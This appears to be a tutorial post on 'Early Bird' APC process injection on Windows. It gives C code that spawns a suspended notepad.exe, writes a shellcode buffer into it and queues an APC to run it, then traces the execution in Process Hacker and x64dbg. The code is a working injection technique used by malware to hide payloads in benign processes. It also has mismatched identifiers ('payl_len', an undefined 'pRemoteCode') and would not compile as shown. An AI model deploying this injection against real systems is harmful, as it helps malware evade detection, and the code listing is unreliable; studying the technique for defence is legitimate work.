Early Bird Injection

APC Injectection into a suspended state. We do not need to wait for it to be alertable in order for it to be executed unlike the regular version of APC queue code injection.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

char shellcode[] = { 
    shellcode
};

unsigned int pay_len = sizeof(shellcode);


int main(void){
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    void *pRem;

    CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

    HANDLE hProc = pi.hProcess;
    HANDLE hThread = pi.hThread;

    pRem = VirtualAllocEx(hProc , NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRem, (PVOID) shellcode, (SIZE_T) payl_len, (SIZE_T *) NULL);
    QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL);  
    getchar();
    ResumeThread(hThread);

}

Here's why it doesn't have to be alertable:

let's compile this and run it.

Before you press enter, lets see the suspended notepad in process hacker:

We can see the parent of the process is our executable.

We can also see the suspended thread in Process Hacker:

And below is our allocated shellcode:

let's press enter...

And we see that our shellcode gets executed automatically which popped up our message box.

Unlike APC queue injection, we did not have to wait.

According to this blog:

Here is why it gets ran automatically:

  • Every user-mode thread begins execution at LdrInitializeThunk function

  • LdrInitializeThunk calls ldrpInitialize

  • Ldrpinitialize calls into _LdrpInitialize

  • _LdrpInitialize calls NtTestAlert

  • NtTestAlert checks APC Queue, notifies kernel which will execute our code

Lets see this in a debugger. Attach the notepad process that was spawned by the early bird injection executable to a debugger of your choice, in this case, I am use x64dbg

Lets then set a breakpoint at our shellcode address in the notepad executable.

Go into the "enter expression" option and paste our shellcode address in there and press "ok"

We then land in our shellcode.

Then, lets set a breakpoint at the first instruction of the executable:

Lets run our executable now, after we run it, we should hit our breakpoint that we set on our shellcode:

Now, lets see the call stack before our shellcode was executed in x64dbg:

Note that it goes bottom from up, so that means LdrInitializeThunk was called first and then proceeded to call the function above, and the function above called the function above itself etc.

Let's look at the NtTestAlert function because its the function that actually puts it in an alertable state based on the bullet points above. Double click the NtTestAlert function.

As we can see, NtTestAlert makes a syscall to ZwTestAlert. ZwTestAlert empties the APC queue of the current thread, which will therefore trigger the APC call and kickoff our shellcode

Last updated